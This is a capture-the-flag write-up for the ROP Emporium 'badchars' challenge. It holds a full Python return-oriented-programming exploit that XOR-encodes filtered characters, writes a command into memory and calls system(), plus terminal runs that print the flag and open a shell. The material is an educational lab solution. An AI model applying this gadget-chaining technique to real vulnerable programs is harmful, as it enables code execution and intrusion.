An arbitrary write challenge with a twist; certain input characters get mangled before finding their way onto the stack. Find a way to deal with this and craft your exploit.
The binary and challenge description can be found here:
https://ropemporium.com/challenge/badchars.html
This challenge is actually not much more difficult than the previous (write4). The only difference is that now you have to account for characters that either get mutated when they’re written to memory or just aren’t written at all. The binary has already done the hardest part for you, providing the useful gadgets. I didn’t even need to use ropper
:
The hardest part of this challenge was writing the Python script.
Solution:
#!/usr/bin/env python3 import sys import random def write_string(string, location, badchars): global payload indices = [] for i, char in enumerate(string): if chr(char) in badchars: indices.append(i) if indices: key = random.randint(1, 127) # This will XOR only the badchars with the key for i in indices: string = string[:i] + (int(string[i]) ^ key).to_bytes(1, "big") + string[i+1:] payload += (0x400b40).to_bytes(8, "little") # pop r14; pop r15; ret payload += (key).to_bytes(8, "little") payload += (location+i).to_bytes(8, "little") payload += (0x400b30).to_bytes(8, "little") # xor byte [r15], r14b; ret # Run the string through again to make sure there are no badchars return write_string(string, location, badchars) # Add a null terminator if it doesn't already exist if string[-1]: string += b"\x00" # This is what puts the XOR'd string into memory for i in range(0, len(string), 8): # Add null byte padding to make sure the string len is a multiple of 8 if len(string[i:i+8]) < 8: string += b"\x00" * (8 - len(string[i:i+8])) payload += (0x400b3b).to_bytes(8, "little") # pop r12; pop r13; ret payload += string[i:i+8] payload += (location + i).to_bytes(8, "little") payload += (0x400b34).to_bytes(8, "little") # mov qword [r13], r12; ret # Need to reverse the order of operations in the payload (32-bytes at a time) payload = b"".join(reversed([payload[i:i+32] for i in range(0, len(payload), 32)])) return string # NOTE: This string cannot have a bad char in the 4th position (e.g. "/bin/sh" or "cat flag.txt") # In the .data section (0x601070), the 4th position is 0x73, which is a bad char command = " cat flag.txt" location = 0x601070 # This can be either a list or dict (with the chars as the keys) badchars = { " ": 0x20, "/": 0x2f, "b": 0x62, "c": 0x63, "f": 0x66, "i": 0x69, "n": 0x6e, "s": 0x73 } payload = b"" write_string(command.encode(), location, badchars) payload = (b"A" * 40) + payload # Execute the command payload += (0x400b39).to_bytes(8, "little") # pop rdi; ret; payload += (location).to_bytes(8, "little") # Address of where the string is saved to payload += (0x4006f0).to_bytes(8, "little") # PLT address of system() sys.stdout.buffer.write(payload)
Running the exploit:
andrew ~/badchars $ ./exploit.py | ./badchars badchars by ROP Emporium 64bits badchars are: b i c / <space> f n s > ROPE{a_placeholder_32byte_flag!}
And in case you’d like to change the string to give you a shell (e.g. “bash”):
andrew ~/badchars $ (./exploit.py; echo; cat) | ./badchars badchars by ROP Emporium 64bits badchars are: b i c / <space> f n s > id uid=1000(andrew) gid=1000(andrew) groups=1000(andrew),1001(sudo) cat flag.txt ROPE{a_placeholder_32byte_flag!}
This script is far from perfect. For instance, it doesn’t check the addresses for bad characters, only the string. Perhaps I’ll improve it in the future.
I’m also not going to provide a detailed explanation of everything the script is doing. I’ve tried to provide enough comments for this. Also, your knowledge from the previous challenges should be enough to understand it.